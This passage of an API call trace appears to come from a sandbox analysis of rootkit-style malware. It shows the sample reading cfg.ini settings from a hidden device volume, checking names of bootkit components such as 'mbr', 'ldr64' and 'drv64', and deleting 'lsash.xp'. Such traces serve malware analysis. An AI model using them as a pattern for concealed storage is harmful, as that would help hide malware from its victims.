returned 0x103 [0123.242] KeWaitForMutexObject () returned 0x0 [0123.242] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.242] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.242] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.242] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.242] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.242] IdePortDispatch () returned 0x103 [0123.242] KeWaitForMutexObject () returned 0x0 [0123.242] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.242] KeLeaveCriticalRegion () [0123.242] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.243] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.243] KeEnterCriticalRegion () [0123.243] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.243] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.243] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.243] KeLeaveCriticalRegion () [0123.243] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.243] KeEnterCriticalRegion () [0123.243] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.243] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.243] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beaa60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.243] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.243] KeLeaveCriticalRegion () [0123.243] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.243] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.243] KeEnterCriticalRegion () [0123.243] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.243] ExFreePoolWithTag (P=0xfffffa8003beafb0, Tag=0x0) [0123.243] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.243] KeLeaveCriticalRegion () [0123.243] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.243] ReleaseMutex (hMutex=0xf0) returned 1 [0123.243] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.243] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0123.243] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.243] KeEnterCriticalRegion () [0123.243] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.243] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.243] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.243] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.243] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.243] IdePortDispatch () returned 0x103 [0123.243] KeWaitForMutexObject () returned 0x0 [0123.244] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.244] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.244] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.244] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.244] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.244] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbee10 [0123.244] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.244] KeLeaveCriticalRegion () [0123.244] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.244] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.244] KeEnterCriticalRegion () [0123.244] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.244] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.244] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.244] KeLeaveCriticalRegion () [0123.244] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.244] KeEnterCriticalRegion () [0123.244] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.244] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.244] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.244] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.244] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.244] IdePortDispatch () returned 0x103 [0123.244] KeWaitForMutexObject () returned 0x0 [0123.244] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.244] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.244] KeLeaveCriticalRegion () [0123.244] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.244] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.244] KeEnterCriticalRegion () [0123.244] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.244] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002dfa000 [0123.244] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.244] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.244] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.244] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.244] IdePortDispatch () returned 0x103 [0123.245] KeWaitForMutexObject () returned 0x0 [0123.245] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.245] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.245] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.245] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.245] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.245] IdePortDispatch () returned 0x103 [0123.245] KeWaitForMutexObject () returned 0x0 [0123.245] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.245] KeLeaveCriticalRegion () [0123.245] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.246] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.246] KeEnterCriticalRegion () [0123.246] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.246] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.246] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.246] KeLeaveCriticalRegion () [0123.246] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.246] KeEnterCriticalRegion () [0123.246] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.246] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.246] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be9ad0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.246] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.246] KeLeaveCriticalRegion () [0123.246] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.246] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.246] KeEnterCriticalRegion () [0123.246] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.246] ExFreePoolWithTag (P=0xfffffa8003bbee10, Tag=0x0) [0123.246] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.246] KeLeaveCriticalRegion () [0123.246] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.246] ReleaseMutex (hMutex=0xf0) returned 1 [0123.246] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0123.246] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0123.246] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0123.246] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.246] KeEnterCriticalRegion () [0123.246] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.246] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.246] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.246] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.246] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.246] IdePortDispatch () returned 0x103 [0123.246] KeWaitForMutexObject () returned 0x0 [0123.246] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.246] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.247] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.247] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.247] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.247] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.247] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.247] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.247] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.247] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.247] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.247] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.247] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.247] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.247] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.247] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.247] KeLeaveCriticalRegion () [0123.247] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.247] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0123.247] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.247] KeEnterCriticalRegion () [0123.247] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.247] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.247] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.247] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.247] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.247] IdePortDispatch () returned 0x103 [0123.247] KeWaitForMutexObject () returned 0x0 [0123.247] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.247] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.247] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.247] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.247] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.247] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.247] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.247] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.248] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.248] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.248] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.248] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.248] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.248] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.248] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.248] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.248] KeLeaveCriticalRegion () [0123.248] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.248] ReleaseMutex (hMutex=0x100) returned 1 [0123.248] Sleep (dwMilliseconds=0x2bf20) [0123.255] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6ca967b0, dwHighDateTime=0x1d24fa4)) [0123.255] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0123.255] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.255] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.255] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.255] KeEnterCriticalRegion () [0123.255] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.255] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.255] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.255] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.255] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.255] IdePortDispatch () returned 0x103 [0123.255] KeWaitForMutexObject () returned 0x0 [0123.255] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.255] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.255] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.255] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.255] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.255] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbee10 [0123.255] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.255] KeLeaveCriticalRegion () [0123.255] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.256] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.256] KeEnterCriticalRegion () [0123.256] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.256] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.256] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.256] KeLeaveCriticalRegion () [0123.256] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.256] KeEnterCriticalRegion () [0123.256] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.256] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.256] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.256] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.256] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.256] IdePortDispatch () returned 0x103 [0123.256] KeWaitForMutexObject () returned 0x0 [0123.256] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.256] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.256] KeLeaveCriticalRegion () [0123.256] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.256] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.256] KeEnterCriticalRegion () [0123.256] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.256] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002dfd000 [0123.256] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.256] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.256] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.256] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.256] IdePortDispatch () returned 0x103 [0123.256] KeWaitForMutexObject () returned 0x0 [0123.257] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.257] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.257] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.257] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.257] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.257] IdePortDispatch () returned 0x103 [0123.257] KeWaitForMutexObject () returned 0x0 [0123.257] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.257] KeLeaveCriticalRegion () [0123.257] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.257] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.257] KeEnterCriticalRegion () [0123.257] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.257] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.257] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.257] KeLeaveCriticalRegion () [0123.257] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.257] KeEnterCriticalRegion () [0123.257] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.257] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.257] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be9ad0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.258] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.258] KeLeaveCriticalRegion () [0123.258] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.258] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.258] KeEnterCriticalRegion () [0123.258] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.258] ExFreePoolWithTag (P=0xfffffa8003bbee10, Tag=0x0) [0123.258] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.258] KeLeaveCriticalRegion () [0123.258] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.258] ReleaseMutex (hMutex=0xf0) returned 1 [0123.258] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.258] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.258] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.258] KeEnterCriticalRegion () [0123.258] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.258] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.258] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.258] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.258] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.258] IdePortDispatch () returned 0x103 [0123.258] KeWaitForMutexObject () returned 0x0 [0123.258] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.258] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.258] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.258] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.258] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.258] FsRtlAllocatePool (PoolType=0x0, 